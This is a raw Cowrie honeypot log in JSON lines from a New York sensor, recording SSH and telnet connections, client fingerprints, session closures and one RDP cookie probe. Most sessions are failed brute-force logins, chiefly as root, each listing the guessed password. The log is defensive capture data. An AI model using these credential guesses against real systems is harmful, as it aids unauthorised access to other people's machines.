{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:30:11.853069Z","src_ip":"178.27.90.142","session":"36f9f84351f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678qwerty","message":"login attempt [root/12345678qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:30:12.303035Z","src_ip":"178.27.90.142","session":"36f9f84351f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:30:13.423945Z","src_ip":"178.27.90.142","session":"36f9f84351f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":37288,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3e307fc14be","protocol":"ssh","message":"New connection: 114.141.59.195:37288 (159.203.135.109:22) [session: a3e307fc14be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:30:32.231946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:30:32.236896Z","src_ip":"114.141.59.195","session":"a3e307fc14be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:30:32.473281Z","src_ip":"114.141.59.195","session":"a3e307fc14be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zc123456","message":"login attempt [root/zc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:30:33.591746Z","src_ip":"114.141.59.195","session":"a3e307fc14be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:30:34.835795Z","src_ip":"114.141.59.195","session":"a3e307fc14be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":61170,"dst_ip":"159.203.135.109","dst_port":22,"session":"09b41935055a","protocol":"ssh","message":"New connection: 178.27.90.142:61170 (159.203.135.109:22) [session: 09b41935055a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:02.363384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:02.368442Z","src_ip":"178.27.90.142","session":"09b41935055a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:02.469855Z","src_ip":"178.27.90.142","session":"09b41935055a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!234qwer","message":"login attempt [root/!234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:02.902512Z","src_ip":"178.27.90.142","session":"09b41935055a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:04.006001Z","src_ip":"178.27.90.142","session":"09b41935055a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":45780,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4a75b097bdc","protocol":"ssh","message":"New connection: 2.57.122.238:45780 (10.17.0.5:22) [session: a4a75b097bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:16.807671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:16.812359Z","src_ip":"2.57.122.238","session":"a4a75b097bdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:16.911564Z","src_ip":"2.57.122.238","session":"a4a75b097bdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:17.212450Z","src_ip":"2.57.122.238","session":"a4a75b097bdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:18.313735Z","src_ip":"2.57.122.238","session":"a4a75b097bdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":41666,"dst_ip":"159.203.135.109","dst_port":23,"session":"b306b7a1f227","protocol":"telnet","message":"New connection: 185.26.126.47:41666 (159.203.135.109:23) [session: b306b7a1f227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:52.969579Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":60353,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9385f80171e","protocol":"ssh","message":"New connection: 178.27.90.142:60353 (159.203.135.109:22) [session: e9385f80171e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:54.420080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:54.424681Z","src_ip":"178.27.90.142","session":"e9385f80171e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:54.527857Z","src_ip":"178.27.90.142","session":"e9385f80171e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345ssdlh","message":"login attempt [root/12345ssdlh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:54.975678Z","src_ip":"178.27.90.142","session":"e9385f80171e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:31:56.079401Z","src_ip":"178.27.90.142","session":"e9385f80171e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.908547163009644,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:32:37.877881Z","src_ip":"185.26.126.47","session":"b306b7a1f227","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":64062,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f875f4ab936","protocol":"ssh","message":"New connection: 178.27.90.142:64062 (159.203.135.109:22) [session: 4f875f4ab936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:32:47.158569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:32:47.162907Z","src_ip":"178.27.90.142","session":"4f875f4ab936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:32:47.264612Z","src_ip":"178.27.90.142","session":"4f875f4ab936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mm123456.","message":"login attempt [root/Mm123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:32:47.716375Z","src_ip":"178.27.90.142","session":"4f875f4ab936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:32:48.819479Z","src_ip":"178.27.90.142","session":"4f875f4ab936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":60341,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b75a88a1116","protocol":"ssh","message":"New connection: 103.149.252.223:60341 (10.17.0.5:22) [session: 8b75a88a1116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:17.914104Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:17.918839Z","src_ip":"103.149.252.223","session":"8b75a88a1116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:17.923460Z","src_ip":"103.149.252.223","session":"8b75a88a1116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":46426,"dst_ip":"10.17.0.5","dst_port":22,"session":"adc00e23587a","protocol":"ssh","message":"New connection: 2.57.122.238:46426 (10.17.0.5:22) [session: adc00e23587a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:28.031068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:28.035389Z","src_ip":"2.57.122.238","session":"adc00e23587a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:28.139049Z","src_ip":"2.57.122.238","session":"adc00e23587a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:28.448224Z","src_ip":"2.57.122.238","session":"adc00e23587a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:29.554253Z","src_ip":"2.57.122.238","session":"adc00e23587a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":64174,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8ae9ffab04e","protocol":"ssh","message":"New connection: 178.27.90.142:64174 (159.203.135.109:22) [session: c8ae9ffab04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:41.227333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:41.231766Z","src_ip":"178.27.90.142","session":"c8ae9ffab04e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:41.331983Z","src_ip":"178.27.90.142","session":"c8ae9ffab04e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot1","message":"login attempt [root/rootroot1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:41.773095Z","src_ip":"178.27.90.142","session":"c8ae9ffab04e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:33:42.879173Z","src_ip":"178.27.90.142","session":"c8ae9ffab04e","protocol":"ssh"}
